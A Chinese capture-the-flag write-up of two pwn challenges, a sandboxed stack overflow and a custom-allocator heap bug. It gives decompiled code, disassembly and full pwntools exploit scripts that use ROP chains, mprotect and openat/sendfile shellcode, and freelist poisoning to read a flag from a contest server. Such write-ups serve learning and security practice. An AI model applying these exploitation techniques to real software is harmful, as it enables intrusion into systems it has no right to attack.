
stack
Information
- Category: Pwn
- Points: 500
Description
听说你很喜欢栈溢出?
Write-up
虽然逻辑很简单,但是还是先让 MCP 先分析一下逻辑,重命名一下变量名。得到如下程序:
__int64 init(){ setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); *(_QWORD *)&random_seed = time(0); srand(random_seed); for ( n2 = 0; n2 <= 2; n2 = rand() % 5 ) ; main_addr_multiplied = (_QWORD)main * n2; global_buffer = malloc(0x1000u); sub_1396(); memset(global_buffer, 0, 0x2000u); global_buffer = (char *)global_buffer - 672; buffer_ptr_offset = (__int64)global_buffer + 256; *((_QWORD *)global_buffer + 32) = (char *)global_buffer + 4096; *(_QWORD *)(buffer_ptr_offset + 8) = sub_132E; counter_n2 = 0; return 0;}
上面这个 init
函数里的 sub_1396
开了沙箱,禁用了 open
和 execve
,第一反应是打 orw 。可以用 openat
代替 open
,然后 sendfile
可以 read
,write
一把梭。
PS: 一开始我还注意到程序有 syscall
gadget,结合 read 我觉得打 SROP 也可以,不过想着可能还需要栈迁移?好久没做过 SROP 了不知道行不行,就用上面那个看上去更稳妥的办法了。
__int64 vuln(){ puts("Welcome to YCB2025!"); puts("Good luck!"); read(0, global_buffer, 0x2000u); if ( (unsigned __int64)counter_n2 > 2 ) { puts("Bye~"); exit(0); } ++counter_n2; return 0;}
下面有个后门函数,MCP 重命名了变量名叫 main_addr_multiplied
,盲猜这个地址保存的就是 main 函数地址乘以一个随机数了,可以先返回到这里泄漏出来然后随便除几个数字试试看能不能得到 main 的地址,也可以自己看伪代码,判断一下可能除了什么数,我当时是猜的,因为数字很小,随便试了下就出来了。
// positive sp value has been detected, the output may be wrong!__int64 sub_1357(){ printf("magic number:%lld\n", main_addr_multiplied); return vuln();}
后来研究了一下,发现是在 init
里设置的乘什么数,结果范围是 :
for ( n2 = 0; n2 <= 2; n2 = rand() % 5 ) ; main_addr_multiplied = (_QWORD)main * n2;
由于没有控制 rdi 的 gadgets, 得去看看程序里面有没有可以利用的汇编片段,发现下面这个函数比较奇怪,使用了 stdout
的地址赋值,一般情况下 stdout
里面保存的是 libc 地址。
FILE **sub_12C9(){ FILE **result; // rax
result = (FILE **)qword_4090; if ( !qword_4090 ) { qword_4090 = 1; p_stdout = (__int64)&stdout; return &stdout; } return result;}
再看一下它的汇编:
.text:00000000000012C9 ; FILE **sub_12C9().text:00000000000012C9 sub_12C9 proc near.text:00000000000012C9 ; __unwind {.text:00000000000012C9 endbr64.text:00000000000012CD sub rsp, 8.text:00000000000012D1 mov rax, cs:qword_4090.text:00000000000012D8 test rax, rax.text:00000000000012DB jnz short loc_1329.text:00000000000012DD mov cs:qword_4090, 1.text:00000000000012E8 lea rax, stdout.text:00000000000012EF mov cs:p_stdout, rax.text:00000000000012F6 mov rax, cs:p_stdout.text:00000000000012FD lea rdx, stdout ; rtld_fini.text:0000000000001304 cmp rax, rdx.text:0000000000001307 jnz short loc_1312.text:0000000000001309 mov rax, cs:p_stdout.text:0000000000001310 jmp short loc_1329.text:0000000000001312 ; ---------------------------------------------------------------------------.text:0000000000001312.text:0000000000001312 loc_1312: ; CODE XREF: sub_12C9+3E↑j.text:0000000000001312 mov cs:qword_4090, 0FFFFFFFFFFFFFFFFh.text:000000000000131D call start.text:0000000000001322 ; ---------------------------------------------------------------------------.text:0000000000001322 mov eax, 0.text:0000000000001327 jmp short $+2.text:0000000000001329 ; ---------------------------------------------------------------------------.text:0000000000001329.text:0000000000001329 loc_1329: ; CODE XREF: sub_12C9+12↑j.text:0000000000001329 ; sub_12C9+47↑j ....text:0000000000001329 add rsp, 8.text:000000000000132D retn.text:000000000000132D ; } // starts at 12C9
上面给 rax
, rdx
都赋值了 stdout
地址,所以 cmp
不进 jnz
,直接返回。
泄漏了这个地址就可以去泄漏 libc 地址了,看到有 puts
,那想办法把 rax 里面的值给到 rdi 然后调用 puts
就行。
注意到 puts
的传参是用的 rax,此外,程序有多处 puts
的交叉引用,找一个能用的就行:
.text:000000000000161F ; __int64 vuln().text:000000000000161F vuln proc near ; CODE XREF: sub_1357+32↑p.text:000000000000161F ; main+17↓p.text:000000000000161F ; __unwind {.text:000000000000161F endbr64.text:0000000000001623 push rbp.text:0000000000001624 lea rax, aWelcomeToYcb20 ; "Welcome to YCB2025!".text:000000000000162B mov rdi, rax ; s.text:000000000000162E call _puts.text:0000000000001633 lea rax, aGoodLuck ; "Good luck!".text:000000000000163A mov rdi, rax ; s.text:000000000000163D call _puts.text:0000000000001642 mov rax, cs:global_buffer.text:0000000000001649 mov edx, 2000h ; nbytes.text:000000000000164E mov rsi, rax ; buf.text:0000000000001651 mov edi, 0 ; fd.text:0000000000001656 call _read.text:000000000000165B mov rax, cs:counter_n2.text:0000000000001662 cmp rax, 2.text:0000000000001666 jbe short loc_1681.text:0000000000001668 lea rax, aBye_0 ; "Bye~".text:000000000000166F mov rdi, rax ; s.text:0000000000001672 call _puts.text:0000000000001677 mov edi, 0 ; status.text:000000000000167C call _exit
上面这个 puts 执行完还能再执行一次 read,这次构造 mprotect
设置 bss 可执行,然后再来一个 read
把 shellcode 读到 bss,然后返回到 bss 就好了。
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, ROP, args, asm, context, flat, process, raw_input, remote,)
FILE = "./Stack_Over_Flow"HOST, PORT = "45.40.247.139", 25201
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binarylibc = ELF("./libc.so.6")
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT)
def main(): launch()
payload = flat( b"A" * 0x108, b"\x5f", ) # raw_input("DEBUG") target.sendafter(b"Good luck!", payload)
target.recvuntil(b"magic number:") elf.address = (int(target.recvline().strip()) // 3) - 0x16B0 target.success(f"pie: {hex(elf.address)}")
control_rdi = elf.address + 0x12E8 payload = flat( b"A" * 0x108, control_rdi, 0, elf.address + 0x162B, # puts ) # raw_input("DEBUG") target.sendafter(b"Good luck!", payload)
target.recvline() libc.address = int.from_bytes(target.recvline().strip(), "little") - 0x21B780 target.success(f"libc: {hex(libc.address)}")
rop = ROP(libc) payload = flat( b"A" * 0x108, # mprotect libc.address + 0x378DF, # nop; ret libc.address + 0x378DF, # nop; ret rop.rdi.address, elf.address + 0x4000, rop.rsi.address, 0x1337, rop.find_gadget(["pop rdx", "pop rbx", "ret"])[0], 0x7, 0, rop.rax.address, 0xA, rop.find_gadget(["syscall", "ret"])[0], # read rop.rdi.address, 0, rop.rsi.address, elf.bss() + 0x500, rop.find_gadget(["pop rdx", "pop rbx", "ret"])[0], 0x1337, 0, rop.rax.address, 0, rop.find_gadget(["syscall", "ret"])[0], elf.bss() + 0x500, )
raw_input("DEBUG") target.sendafter(b"Good luck!", payload)
payload = asm(""" mov rax, 0x67616c66 push rax xor edi, edi sub edi, 100 mov rsi, rsp xor edx, edx xor r10, r10 mov eax, 0x101 syscall
mov edi, 1 mov esi, 3 push 0 mov rdx, rsp mov r10, 0x1337 mov rax, 0x28 syscall """) target.send(payload)
target.interactive()
if __name__ == "__main__": main()
Flag
DASCTF{86480848618847093058521417023694}
malloc
Information
- Category: Pwn
- Points: 500
Description
我再也不做堆了
Write-up
题目实现了自定义的 malloc
和 free
,在 create
函数中,可以申请的 chunk_idx
的最大值是 0x10
,chunk_pointers
数组只能存储 16 个 QWORD(索引 0-15)。调试发现,当 chunk_idx
为 0x10
时,malloc 会破坏 g_chunk_sizes[0]
。
这里简单贴一下几个函数的逆向结果吧:
__int64 init(){ int i; // [rsp+4h] [rbp-Ch] __int64 seccomp_ctx; // [rsp+8h] [rbp-8h]
setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); g_arena_top = (__int64)&g_heap_base; g_heap_size_limit = 4096; g_current_heap_offset = 4096; for ( i = 0; i <= 15; ++i ) g_freelists[i] = 0; seccomp_ctx = seccomp_init(2147418112); seccomp_rule_add(seccomp_ctx, 0, 59, 0); seccomp_rule_add(seccomp_ctx, 0, 322, 0); return seccomp_load(seccomp_ctx);}
unsigned __int64 create(){ unsigned int chunk_idx_1; // ebx char newline_char; // [rsp+Fh] [rbp-21h] BYREF unsigned int chunk_idx; // [rsp+10h] [rbp-20h] BYREF unsigned int chunk_size; // [rsp+14h] [rbp-1Ch] BYREF unsigned __int64 canary; // [rsp+18h] [rbp-18h]
canary = __readfsqword(0x28u); puts("Index"); __isoc99_scanf("%u%c", &chunk_idx, &newline_char); if ( chunk_idx <= 0x10 && (puts("size"), __isoc99_scanf("%u%c", &chunk_size, &newline_char), chunk_size <= 0x70) && chunk_size > 0xF ) { chunk_idx_1 = chunk_idx; *((_QWORD *)&g_heap_base + chunk_idx_1 + 512) = do_malloc(chunk_size); *((_QWORD *)&g_heap_base + chunk_idx + 528) = chunk_size; puts("Success"); } else { puts("Invalid"); } return canary - __readfsqword(0x28u);}
__int64 __fastcall do_malloc(unsigned int requested_size){ signed int aligned_size; // [rsp+1Ch] [rbp-14h] unsigned int remainder_size; // [rsp+20h] [rbp-10h] int freelist_idx; // [rsp+24h] [rbp-Ch] __int64 allocated_chunk; // [rsp+28h] [rbp-8h] __int64 g_arena_top; // [rsp+28h] [rbp-8h]
remainder_size = requested_size & 0xF; if ( remainder_size > 8 ) aligned_size = requested_size - remainder_size + 32; else aligned_size = requested_size - remainder_size + 16; freelist_idx = aligned_size / 16; if ( g_freelists[aligned_size / 16] ) { allocated_chunk = g_freelists[freelist_idx]; g_freelists[freelist_idx] = *(_QWORD *)(allocated_chunk + 16); *(_BYTE *)allocated_chunk = 1; return allocated_chunk + 16; } else { if ( aligned_size >= (unsigned __int64)g_heap_size_limit ) { puts("malloc(): corrupted top chunks"); exit(0); } g_arena_top = g_arena_top; *(_BYTE *)g_arena_top = 1; *(_DWORD *)(g_arena_top + 8) = aligned_size; g_arena_top += aligned_size; g_heap_size_limit -= aligned_size; *(_DWORD *)(g_arena_top + 8) = g_heap_size_limit; return g_arena_top + 16; }}
unsigned __int64 delete(){ char newline_char; // [rsp+3h] [rbp-Dh] BYREF unsigned int chunk_idx; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 canary; // [rsp+8h] [rbp-8h]
canary = __readfsqword(0x28u); puts("Index"); __isoc99_scanf("%u%c", &chunk_idx, &newline_char); if ( chunk_idx <= 0x10 ) { do_free(chunk_idx); *((_QWORD *)&g_heap_base + chunk_idx + 528) = 0; puts("Success"); } else { puts("Invalid index"); } return canary - __readfsqword(0x28u);}
__int64 __fastcall do_free(unsigned int chunk_idx){ int chunk_size_val; // kr08_4 __int64 chunk_header_ptr_2; // rax int freelist_walk_count; // [rsp+14h] [rbp-1Ch] __int64 chunk_header_ptr_1; // [rsp+20h] [rbp-10h] _BYTE *chunk_header_ptr; // [rsp+28h] [rbp-8h]
chunk_header_ptr = (_BYTE *)(*((_QWORD *)&g_heap_base + chunk_idx + 512) - 16LL); chunk_size_val = *(_DWORD *)(*((_QWORD *)&g_heap_base + chunk_idx + 512) - 8LL); **((_QWORD **)&g_heap_base + chunk_idx + 512) = g_freelists[chunk_size_val / 16]; g_freelists[chunk_size_val / 16] = chunk_header_ptr; *chunk_header_ptr = 0; freelist_walk_count = 0; chunk_header_ptr_2 = *(_QWORD *)(g_freelists[chunk_size_val / 16] + 16LL); chunk_header_ptr_1 = chunk_header_ptr_2; while ( freelist_walk_count <= 13 && chunk_header_ptr_1 ) { if ( (_BYTE *)chunk_header_ptr_1 == chunk_header_ptr ) { puts("free(): double free or corruption (fast)"); exit(0); } chunk_header_ptr_2 = *(_QWORD *)(chunk_header_ptr_1 + 16); chunk_header_ptr_1 = chunk_header_ptr_2; ++freelist_walk_count; } return chunk_header_ptr_2;}
unsigned __int64 edit(){ char newline_char; // [rsp+Fh] [rbp-11h] BYREF unsigned int chunk_idx; // [rsp+10h] [rbp-10h] BYREF _DWORD nbytes[3]; // [rsp+14h] [rbp-Ch] BYREF
*(_QWORD *)&nbytes[1] = __readfsqword(0x28u); puts("Index"); __isoc99_scanf("%u%c", &chunk_idx, &newline_char); if ( chunk_idx <= 0x10 && *((_QWORD *)&g_heap_base + chunk_idx + 512) && (puts("size"), __isoc99_scanf("%u%c", nbytes, &newline_char), nbytes[0] <= *((__int64 *)&g_heap_base + chunk_idx + 528)) ) { read(0, *((void **)&g_heap_base + chunk_idx + 512), nbytes[0]); puts("Success"); } else { puts("Invalid"); } return *(_QWORD *)&nbytes[1] - __readfsqword(0x28u);}
unsigned __int64 show(){ char newline_char; // [rsp+3h] [rbp-Dh] BYREF unsigned int chunk_idx; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 canary; // [rsp+8h] [rbp-8h]
canary = __readfsqword(0x28u); puts("Index"); __isoc99_scanf("%u%c", &chunk_idx, &newline_char); if ( chunk_idx <= 0x10 && *((_QWORD *)&g_heap_base + chunk_idx + 512) ) { puts(*((const char **)&g_heap_base + chunk_idx + 512)); puts("Success"); } else { puts("Invalid index"); } return canary - __readfsqword(0x28u);}
.data:0000000000004008 ; void *off_4008.data:0000000000004008 off_4008 dq offset off_4008 ; DATA XREF: sub_1200+1B↑r.data:0000000000004008 ; .data:off_4008↓o.data:0000000000004010 align 20h.data:0000000000004020 g_arena_top dq 0FFFFFFFFFFFFFFFFh ; DATA XREF: init+6D↑w.data:0000000000004020 ; init+7F↑r ....data:0000000000004028 g_heap_size_limit dq 0FFFFFFFFFFFFFFFFh ; DATA XREF: init+74↑w.data:0000000000004028 ; do_malloc+D1↑r ....data:0000000000004030 align 20h.data:0000000000004040 ; _QWORD g_freelists[16].data:0000000000004040 g_freelists dq 0FFFFFFFFFFFFFFFFh, 0Fh dup(0).data:0000000000004040 ; DATA XREF: init+A6↑o.data:0000000000004040 ; do_malloc+56↑o ....data:0000000000004040 _data ends.data:0000000000004040
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, ROP, args, context, flat, process, raw_input, remote,)
FILE = "./pwn_patched"HOST, PORT = "45.40.247.139", 17742
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binarylibc = ELF("./libc.so.6")
def menu(option): target.recvuntil(b"=======================") target.sendline(str(option).encode())
def create(idx, size): menu(1) target.sendlineafter(b"Index", str(idx).encode()) target.sendlineafter(b"size", str(size).encode()) target.recvlines(2)
def delete(idx): menu(2) target.sendlineafter(b"Index", str(idx).encode()) target.recvlines(2)
def edit(idx, size, data): menu(3) target.sendlineafter(b"Index", str(idx).encode()) target.sendlineafter(b"size", str(size).encode()) target.sendline(data)
def show(idx): menu(4) target.sendlineafter(b"Index", str(idx).encode())
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT)
def main(): launch()
create(0, 0x70) create(1, 0x70) delete(1) delete(0)
# raw_input("DEBUG") show(0) target.recvline() elf.address = int.from_bytes(target.recvline().strip(), "little") - 0x5280
stderr = elf.address + 0x40E0 arr = elf.address + 0x6200
target.success(f"pie: {hex(elf.address)}") target.success(f"arr: {hex(arr)}") target.success(f"stderr: {hex(stderr)}")
create(0, 0x70) create(1, 0x70) delete(0) delete(1) # raw_input("DEBUG") create(0x10, 0x70) edit(0, 0x10, flat(stderr - 0x40))
# raw_input("DEBUG") create(0, 0x70) create(2, 0x70)
edit(2, 0x10, b"A" * 15) show(2) target.recvlines(2) libc.address = int.from_bytes(target.recvline().strip(), "little") - 0x21B780 target.success(f"libc: {hex(libc.address)}")
create(3, 0x70) delete(0) delete(3) create(0x10, 0x70) edit(0, 0x10, flat(libc.sym["environ"] - 0x20))
create(0, 0x70) create(4, 0x70) edit(4, 0x10, b"A" * 15) show(4)
target.recvline() target.recvline() stack = int.from_bytes(target.recvline().strip(), "little") ret = stack - 0x140 target.success(f"stack: {hex(stack)}") target.success(f"ret: {hex(ret)}")
create(5, 0x70) delete(0) delete(5) create(0x10, 0x70) edit(0, 0x10, flat(ret - 0xA0))
create(5, 0x70) create(0, 0x70) create(0x10, 0x70)
edit(5, 0x10, b"flag\x00\x00\x00\x00")
flag = elf.address + 0x5210
rop = ROP(libc) payload = flat( # open rop.rax.address, 2, rop.rdi.address, flag, rop.rsi.address, 0, rop.find_gadget(["pop rdx", "pop rbx", "ret"])[0], 0, 0, rop.find_gadget(["syscall", "ret"])[0], # read rop.rax.address, 0, rop.rdi.address, 3, rop.rsi.address, flag, rop.find_gadget(["pop rdx", "pop rbx", "ret"])[0], 0x100, 0, rop.find_gadget(["syscall", "ret"])[0], # write rop.rax.address, 1, rop.rdi.address, 1, rop.rsi.address, flag, rop.find_gadget(["pop rdx", "pop rbx", "ret"])[0], 0x100, 0, rop.find_gadget(["syscall", "ret"])[0], )
raw_input("DEBUG") edit( 0, 0x200, b"A" * 0x60 + payload, )
target.interactive()
if __name__ == "__main__": main()
Flag
DASCTF{21569291958017220875601963459603}
赛后 bb
感觉这比赛题很难评啊,一道 stack 一道 malloc,两道题没一个能 patch 后在我机器上跑的……一直报错 ./libc.so.6: version 'GLIBC_ABI_DT_RELR' not found (required by /usr/lib/libseccomp.so.2)
,怀疑是我 glibc 版本太高了的原因?问运维,告诉我好像全场就我一个人不能跑附件,我???????被制裁了(
后来光折腾 docker pwn 环境就花了好几个小时,比赛开始 5 小时后我才刚把题目跑起来,上午问运维要 Dockerfile 下午才拿到,最后发现也没啥用,还得配虚拟机。玛德,这个世界对 archlinux 用户充满了恶意,最后我是用 pwndocker + 零配置的 vim 写的这两题的 exp,别提有多痛苦了……
另外,国内的比赛都是 p 神争霸赛吗,看麻了,非人 vm 题短时间内 30 多解,哥们用 MCP 逆向都逆半天没逆出来,逆向完了还得看半天,怎么做到的?……